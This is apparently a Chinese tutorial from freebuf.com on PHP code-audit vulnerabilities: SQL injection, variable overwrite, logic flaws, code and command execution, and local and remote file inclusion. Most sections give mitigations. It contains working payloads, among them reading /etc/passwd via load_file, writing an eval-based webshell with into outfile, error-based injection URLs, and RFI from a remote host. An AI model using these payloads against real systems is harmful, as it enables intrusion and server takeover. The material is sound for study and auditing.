注入漏洞
解决方案:addslashes()和mysql_[real_]escape_string()函数
load_file():读取文件
前提:知道文件的绝对路径、能够使用union查询、对web目录有写权限union select 1,load_file('etc/passwd'),3,4,5#
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
0x2f6574632f706173737764 <=> etc/passwd
路径没有加单引号的必须转换16进制;省略单引号必须转换16进制
into outfile:写入文件
前提:文件名必须是全路径(绝对路径)、用户必须有写文件的权限、没有对单引号'过滤
`select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\test.php'`
`select '<?php @eval($_POST["hack"]); ?>' into outfile 'C:\Windows\tmp\test.php'`
路径里面 \\ 可以换成 /
PHP语句没有单引号,必须转换16进制;省略单引号,必须转换16进制
建议一句话木马转换16进制
MySQL报错注入:
①floor():向下取整,只保留整数部分
`Payload:https://127.0.0.1/test.php?id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)`
②extractvalue():对xml文档进行查询
`Payload:https://127.0.0.1/test.php?id=1 and (extractvalue(1,concat(0x5c,(select user()))))` 0x5c <=> '\
③updatexml():更新xml文档
`Payload:https://127.0.0.1/test.php?id=1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))` 0x5e24 <=> '^
④其他函数`GeometryCollection()、polygon()、multipoint()、multilinestring()、multipolygon()、linestring()、exp()`
反序列化漏洞
__toString() 当对象被当作字符串输出时自动调用
-> 变量赋值
特殊写法: <=>
常见函数:
FILE获取当前文件路径
show_source() 显示文件源码
print_r() 可以输出非字符串
常见魔术方法:
__construct() 对象创建时自动调用
__destruct() 对象销毁时自动调用
__wakeup() 使用unserialize()函数时自动调用
变量覆盖漏洞
场景:$$、extract()、parse_str()、import_request_variables()
解决方案:不进行变量注册;直接用原生的$_GET、$_POST、$_COOKIE等数组进行操作;需要注册个别变量,直接在代码中定义变量,然后在请求中赋值
$$:
`<?php
foreach(array('_COOKIE','_POST','_GET') as $_request){
foreach($$_request as $key => $_value){
echo $_key;
$$_key = addslashes($_value);
}
}
echo $a;
?>`
`Payload:https://127.0.0.1/test.php?a=1`
执行结果:a 1
extract():将数组中的键值对注册成变量(从数组中将变量导入到当前的符号表)
语法:int extract( array &$var_array[, int $extract_type = EXTR_OVERWRITE[,string $prefix = NULL]])
最多3个参数【第一个参数是必须的,导致变量覆盖的由第二个参数决定】
①第二个参数为 EXTR_OVERWRITE,表示如果有冲突,则覆盖已有的变量;
②只传入第一个参数,这时默认为 EXTR_OVERWRITE模式;
③第二个参数为EXTR_IF_EXISTS,表示当前符号表已有同名变量时,覆盖它们的值,其他的都不注册新变量
`<?php
$b = 2;
$a = array('b' =>'1');
extract($a);
print_r($b);
?>`
`Payload:https://127.0.0.1/test.php`
执行结果:1
parse_str():解析字符串并注册成新变量(在注册变量前不会验证当前变量是否已经存在)
语法:void parse_str(String $str[,array &$arr])
第一个参数$str是必须的,代表要解析注册成变量的字符串,形式为"a = 1",经过parse_str()函数之后会注册成变量$a并赋值为1
第二个参数$arr是一个数组,当第二个参数存在时,注册的变量会放到这个数组里,如果这个数组原来存在相同的键(key),则会覆盖掉原有的键值
`<?php
$b =1;
parse_str('b = 2');
print_r($b);
?>`
`Payload:https://127.0.0.1/test.php`
执行结果:2
import_request_variables():将GET、POST、COOKIE的参数注册成变量,用于register_globals被禁止时,PHP4.1至5.4(建议不开启register_globals、不使用import_request_variables())
语法:bool import_request_variables(string $types[,string $prefix])
第一个参数$types代表要注册的变量,G <=> GET、P <=> POST、C <=> COOKIE;当$types为GPC时,会注册GET、POST、COOKIE参数为变量
第二个参数$prefix为要注册的变量前缀
`<?php
$b = 1;
import_request_variables('GP');
print_r($b);
?>`
`Payload:https://127.0.0.1/test.php?b=2`
执行结果:2
逻辑处理漏洞
场景:in_array()、is_numeric()、==和===、未exit()、die()或return()
in_array():判断一个值是否在某一个数组列表里
语法:in_array('b',array('a','b','c'))
in_array()比较前自动类型转换
`<?php
if (in_array($_GET['typeid'],array(1,2,3,4))){
$sql = "select ...... from where typeid=' " .$_GET ['typeid'] ." ' ";
echo $sql;
}
?>`
`Payload:https://127.0.0.1/test.php?typeid=1' union select ......`
执行结果:select ...... where typeid= '1' union select ...'(绕过检查并注入)
is_numeric():判断一个变量是否为数字;通过检查返回true,未通过返回false
传入的参数为hex直接通过并返回true;MySQL可以直接使用hex编码代替字符串明文
`<?php
if(is_numeric($_GET['var'])){
$sql = "insert into xx values('xx',{$_GET[''var']})";
echo $sql;
}
?>`
"<script>alert(1)</script>"的hex编码为"0x3c7363726970743e616c6572742831293c2f73636970743e"
`Payload:https://127.0.0.1/test.php?var=0x3c7363726970743e616c6572742831293c2f73636970743e`
输入语句效果等同于:insert into xx values('xx','<script>alert(1)</script>')
==和===:==在判断等于之前会先做变量类型的转换,===不会
`<?php
var_dump($_GET['var0'] == 2);
var_dump($_GET['var1] === 2);
?>`
`Payload:https://127.0.0.1/test.php?var0=2a https://127.0.0.1/test.php?var1=2a`
执行结果:bool(true) bool(false)
未exit()、die()或return():
`<?php
if(file_exists('install.lock')){
//程序已经安装,跳转到首页
header("Location:../");
}
//进入安装流程
?>
<?php
if($_GET['var'] === 'aa'){
//程序已经安装,跳转到首页
header("Location:../");
}
echo $_GET['var'];
?>`
`Payload:https://127.0.0.1/test.php?var=aa`
执行结果:aa
解决方案:header()后exit()或die()
代码执行漏洞
场景:eval()、assert()、preg_replace()、动态函数执行
call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架里面动态调用函数
array_map()函数的作用是调用函数并且处第一个参数外其他参数为数组,通常会写死第一个参数,即调用的函数
命令执行函数{system()、exec()、shell_exec()、passthru()、pcntl_exec、popen()、popen_open()}以及反引号()
解决方案:escapeshellcmd()和escapeshellarg()
escapeshellcmd():过滤整条命令 string escapeshellcmd(string $command)
参数string为要过滤的命令,返回过滤后的string类型的命令
过滤的字符串为’&’,’;’,”,’|’,’*’,’?’,’~’,'<‘,’>’,’^’,'(‘,’)’,'[‘,’]’,'{‘,’}’,’$’,”,’\x0A’,’\xFF’,’%’,’ ‘ ‘,’ ” ‘ //仅仅在不成对时被转义<?php echo(escapeshellcmd($_GET['cmd'])); ?>
Payload:https://127.0.0.1/test.php?cmd=whoami(
执行结果:whoami^(
escapeshellarg():保证传入命令执行函数里面的参数确实是一字符串参数形式存在,不能被注入
将参数限制在一对双括号里,确保参数为一个字符串,会把双引号替换为空格<?php echo 'ls'.escapeshellarg('a"'); ?>
Payload:https://127.0.0.1/test.php
执行结果:ls a
eval()和assert()函数:
`<?php
$a = 'aaa';
$b = 'bbb';
eval('$a = $b');
var_dump($a);
?>`
`Payload:https://127.0.0.1/test.php`
执行结果:string(3)"bbb"
preg_replace()函数:对字符串进行正则处理
语法:mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])
搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处即第一个参数存在修饰符/e时,$replacement的值会被当成PHP代码执行
`<?php
preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
//从$_GET['str']变量里搜索括号[]中间的内容作为第一组的结果,preg_replace()函数的第二个参数为'\\1'代表这里用第一组结果填充,这里可以直接执行代码
?>`
`Payload:https://127.0.0.1/test.php?str=[phpinfo()]`
执行结果:PHP Version 5.3.28
call_user_func()函数:调用函数并且第二个参数作为要调用的函数的参数
语法:mixed call_user_func(callable $callback[,mixed $parmeter[,mixed $..]])
`<?php
$b= "phpinfo()";
call_user_func($_GET['a'],$b);
?>`
`Payload:https://127.0.0.1/test.php?a=assert`
执行结果:PHP Version 5.3.28
动态函数执行:PHP特性-PHP的函数可以直接由字符串拼接
`<?php
$_GET['a']($_GET['b']);
?>`
`Payload:https://127.0.0.1/test.php?a=assert&b=phpinfo()`
执行结果:PHP Version 5.3.28
命令执行函数{system()、exec()、shell_exec()、passthru()、pcntl_exec、popen()、popen_open()}以及反引号(`):
system()、exex()、shell_exec()、passthru()以及反引号(`)可以直接传入命令并且函数会返回执行结果
system():函数会直接回显结果打印输出,不需要echo()也可以
`<?php
system('whoami');
?>`
`Payload:https://127.0.0.1/test.php`
执行结果:desktop-htl6dmj\hackerone
pcntl()函数:是PHP的多进程处理扩展
语法:void pcntl_exec(string $path[,array $args[,array $envs]])
$path为可执行程序路径,如果是Perl或Bash脚本,则需要在文件头加上#!/ bin/bash来标识可执行程序路径,$args表示传递给$path程序的参数,$envs则是执行这个程序的环境变量
popen()、popen_open()函数:不会直接返回执行结果,而是返回一个文件指针,但命令已经执行
popen()函数需要两个参数,一个是执行的命令;另一个是指针文件的连接模式,有r、w代表读和写
`<?php
popen('whoami >>D:/1.txt','r');
?>`
执行结果:在D盘根目录看到1.txt文件,内容为WebServer用户名
反引号(`)命令执行:实际上反引号(`)执行命令是调用的shell_exec()函数
`<?php
echo whoami;
?>`
`Payload:https://127.0.0.1/test.php`
执行结果:desktop-htl6dmj\hackerone
在php.ini文件中把PHP安全模式打开,重启WebServer重新加载PHP配置文件,再执行访问代码
`Payload:https://127.0.0.1/test.php`
执行结果:`Warning:shell_exec()[function.shell_exec]:Cannot execute using backquotes in Safe Mode in D:\www\test.php on line 2`
这个提示说明反引号(`)执行命令的方式是使用的shell_exec()函数
文件包含漏洞(LFI + RFI)
本地文件包含(LFI-local file include)、远程文件包含(RFI-remote file include)
场景:include()、include_once()、require()、require_once() 【_once后缀表示包含一次】
include()和include_once()在包含文件时即使遇到错误,下面的代码依然会执行
require()和require_once()在包含文件时遇到错误,会直接报错退出程序
本地文件包含(LFI-local file include):
`<?php
define("ROOT",dirname(__FILE__).'/');
//加载模块,在同目录下2.php写入<?php phpinfo();?>
$mod = $_GET['mod'];
echo ROOT.$mod.'.php';
include(ROOT.$mod.'.php');
?>`
`Payload:https://127.0.0.1/test.php?mod=2`
执行结果:PHP Version 5.3.28
远程文件包含(RFI-remote file include):
`<?php
include($_GET['url']);
?>`
远程主机remotehost:2.txt `<?php phpinfo();?>`
`Payload:https://127.0.0.1/test.php?url=http://remotehost/2.txt`
执行结果:PHP Version 5.3.28
来源:freebuf.com 2021-02-03 17:13:02 by: Hicode
请登录后发表评论
注册